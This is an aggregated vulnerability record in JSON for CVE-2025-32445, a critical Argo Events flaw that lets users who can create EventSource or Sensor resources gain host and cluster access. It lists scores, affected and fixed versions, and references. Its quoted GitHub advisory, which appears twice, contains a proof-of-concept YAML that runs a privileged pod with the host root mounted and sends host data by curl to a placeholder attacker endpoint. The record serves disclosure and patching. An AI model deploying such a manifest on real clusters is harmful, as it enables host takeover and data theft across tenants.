{"id":"CVE-2025-32445","aliases":["EUVD-2025-10986","GHSA-hmp7-x699-cvhq","GO-2025-3608","ROOT-APP-GOBINARY-CVE-2025-32445","openSUSE-SU-2025:15017-1"],"status":"published","title":"Users can gain privileged access to the host system and cluster with EventSource and Sensor CR","description":"Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00804,"percentile":0.57016,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-250","CWE-268"],"published":"2025-04-14T17:47:39Z","modified":"2026-10-28T02:30:34Z","fixes":[{"ecosystem":"Go","package":"github.com/argoproj/argo-events","fixed_in":["1.9.6"],"sources":["ghsa","osv"]},{"ecosystem":"Root:Go","package":"rootio-github.com/argoproj/argo-events","fixed_in":["v1.9.1-root.io.1","v1.9.1-root.io.2"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"github.com/argoproj/argo-events","fixed_in":["v1.9.1-aikido.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/argoproj/argo-events","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/argoproj/argo-events","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/argoproj/argo-events","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.6"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"rootio-github.com/argoproj/argo-events","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v1.9.1-root.io.1"},{"fixed":"v1.9.1-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"github.com/argoproj/argo-events","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v1.9.1-aikido.2"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250422T181640-1.1"}]}],"bundled":23}],"products":[{"vendor":"argoproj","product":"argo-events"}],"references":[{"url":"https://github.com/argoproj/argo-events/security/advisories/GHSA-hmp7-x699-cvhq","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/argoproj/argo-events/commit/18412293a699f559848b00e6e459c9ce2de0d3e2","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/argoproj/argo-events/pull/3528","tags":["web","fix"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-32445","tags":["advisory"]},{"url":"https://pkg.go.dev/vuln/GO-2025-3608","tags":["web"]},{"url":"https://github.com/advisories/GHSA-hmp7-x699-cvhq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/32xxx/CVE-2025-32445.json","tags":["advisory"]},{"url":"https://github.com/argoproj/argo-events","tags":["package"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/XCF7AZBKQYAQXK32J6F54H6NREFBK2V7/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2019-15119","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-1386","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-2424","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24358","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-2475","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24839","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24866","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-2564","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-27538","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-27571","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-27936","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-30206","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-31363","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-32093","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-32431","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-32445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-32793","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-32963","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3801","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-43970","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-43971","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-43972","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-43973","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2025-32445","title":"Users can gain privileged access to the host system and cluster with EventSource and Sensor CR","description":"Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.","status":"published","published":"2025-04-15T19:22:36.051Z","modified":"2025-04-15T20:07:10.64Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-250"],"updated_at":"2026-11-02T14:32:46.42892Z"}],"euvd":[{"id":"EUVD-2025-10986","description":"Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.","status":"published","published":"2025-04-15T19:22:36Z","modified":"2025-04-15T20:07:10Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T20:52:26.346189Z"}],"ghsa":[{"id":"GHSA-hmp7-x699-cvhq","title":"Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR ","description":"### Summary:\n\nA user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.\n\n### Details:\n\nThe `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.\n\n```golang\n    if args.EventSource.Spec.Template != nil \u0026\u0026 args.EventSource.Spec.Template.Container != nil {\n        if err := mergo.Merge(\u0026eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {\n            return nil, err\n        }\n    }\n```\n\nWith these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.\n\nHere is an example that demonstrates the vulnerability.\n\n```\napiVersion: argoproj.io/v1alpha1\nkind: EventSource\nmetadata:\n  name: poc-vulnerable-eventsource\nspec:\n  webhook:\n    security-test:\n      port: \"12000\"\n      endpoint: \"/webhook\"\n  template:\n    container:\n      image: ubuntu:latest\n      command: [\"/bin/bash\"]\n      args: [\n        \"-c\",\n        \"apt-get update \u0026\u0026 apt-get install -y curl \u0026\u0026 while true; do\n         rm -f /tmp/data;\n         echo '=== containerd socket ===' \u003e /tmp/data 2\u003e\u00261;\n         ls -la /host/run/containerd/containerd.sock \u003e\u003e /tmp/data 2\u003e\u00261;\n         echo '=== proof of host access ===' \u003e\u003e /tmp/data 2\u003e\u00261;\n         cat /host/etc/hostname \u003e\u003e /tmp/data 2\u003e\u00261;\n         curl -X POST --data-binary @/tmp/data http://\u003cattacker-controlled-endpoint\u003e:8000/;\n         sleep 300;\n         done\"\n      ]\n      securityContext:\n        privileged: true\n        capabilities:\n          add: [\"SYS_ADMIN\"]\n      volumeMounts:\n        - name: host-root\n          mountPath: /host\n    volumes:\n      - name: host-root\n        hostPath:\n          path: /\n```\n\n### Impact:\n\n- Multi-tenant Clusters:\n  - Tenant isolation broken\n  - Non-admin users can gain host/cluster access\n  - Access to other tenants' data\n\n- Security Model Bypass:\n  - RBAC restrictions circumvented\n  - Pod Security Policies/Standards bypassed\n  - Host system compromised\n\n### Patches\n\nA [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed.\n\n`v1.9.6`\n\n### Credits\n\nThis vulnerability was found \u0026 reported by:\n\n@thevilledev\n\nThe Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.","status":"published","published":"2025-04-14T17:47:39Z","modified":"2025-04-23T15:07:33Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-250","CWE-268"],"updated_at":"2026-11-02T14:38:40.628275Z"}],"nvd":[{"id":"CVE-2025-32445","description":"Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.","status":"published","published":"2025-04-15T20:15:39.807Z","modified":"2026-06-17T09:12:00.29Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-250"],"updated_at":"2026-11-02T14:11:00.456643Z"}],"osv":[{"id":"CVE-2025-32445","title":"Users can gain privileged access to the host system and cluster with EventSource and Sensor CR","description":"Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.","status":"published","published":"2025-04-15T19:22:36.051Z","modified":"2026-10-28T02:30:34.424350503Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-250"],"updated_at":"2026-11-02T15:44:48.02508Z"},{"id":"GHSA-hmp7-x699-cvhq","title":"Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR ","description":"### Summary:\n\nA user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.\n\n### Details:\n\nThe `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.\n\n```golang\n    if args.EventSource.Spec.Template != nil \u0026\u0026 args.EventSource.Spec.Template.Container != nil {\n        if err := mergo.Merge(\u0026eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {\n            return nil, err\n        }\n    }\n```\n\nWith these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.\n\nHere is an example that demonstrates the vulnerability.\n\n```\napiVersion: argoproj.io/v1alpha1\nkind: EventSource\nmetadata:\n  name: poc-vulnerable-eventsource\nspec:\n  webhook:\n    security-test:\n      port: \"12000\"\n      endpoint: \"/webhook\"\n  template:\n    container:\n      image: ubuntu:latest\n      command: [\"/bin/bash\"]\n      args: [\n        \"-c\",\n        \"apt-get update \u0026\u0026 apt-get install -y curl \u0026\u0026 while true; do\n         rm -f /tmp/data;\n         echo '=== containerd socket ===' \u003e /tmp/data 2\u003e\u00261;\n         ls -la /host/run/containerd/containerd.sock \u003e\u003e /tmp/data 2\u003e\u00261;\n         echo '=== proof of host access ===' \u003e\u003e /tmp/data 2\u003e\u00261;\n         cat /host/etc/hostname \u003e\u003e /tmp/data 2\u003e\u00261;\n         curl -X POST --data-binary @/tmp/data http://\u003cattacker-controlled-endpoint\u003e:8000/;\n         sleep 300;\n         done\"\n      ]\n      securityContext:\n        privileged: true\n        capabilities:\n          add: [\"SYS_ADMIN\"]\n      volumeMounts:\n        - name: host-root\n          mountPath: /host\n    volumes:\n      - name: host-root\n        hostPath:\n          path: /\n```\n\n### Impact:\n\n- Multi-tenant Clusters:\n  - Tenant isolation broken\n  - Non-admin users can gain host/cluster access\n  - Access to other tenants' data\n\n- Security Model Bypass:\n  - RBAC restrictions circumvented\n  - Pod Security Policies/Standards bypassed\n  - Host system compromised\n\n### Patches\n\nA [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed.\n\n`v1.9.6`\n\n### Credits\n\nThis vulnerability was found \u0026 reported by:\n\n@thevilledev\n\nThe Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.","status":"published","published":"2025-04-14T17:47:39Z","modified":"2026-09-10T03:50:57.184447974Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-250","CWE-268"],"updated_at":"2026-11-02T15:46:49.28217Z"},{"id":"GO-2025-3608","title":"Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR in github.com/argoproj/argo-events","description":"Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR in github.com/argoproj/argo-events","status":"published","published":"2025-04-22T16:56:33Z","modified":"2026-02-04T04:09:22.395724Z","updated_at":"2026-11-02T15:47:01.728182Z"},{"id":"openSUSE-SU-2025:15017-1","title":"govulncheck-vulndb-0.0.20250422T181640-1.1 on GA media","description":"These are all security issues fixed in the govulncheck-vulndb-0.0.20250422T181640-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-04-23T00:00:00Z","modified":"2026-02-04T02:34:16.37387Z","updated_at":"2026-11-02T16:58:37.399567Z"},{"id":"ROOT-APP-GOBINARY-CVE-2025-32445","title":"CVE-2025-32445 in rootio-github.com/argoproj/argo-events - Patched by Root","description":"Root has patched CVE-2025-32445 in the rootio-github.com/argoproj/argo-events package for Root:Go. Multiple fixed versions available.","status":"published","published":"2026-06-18T14:00:05Z","modified":"2026-06-18T18:15:30.762180098Z","updated_at":"2026-11-02T15:53:26.76659Z"}]}}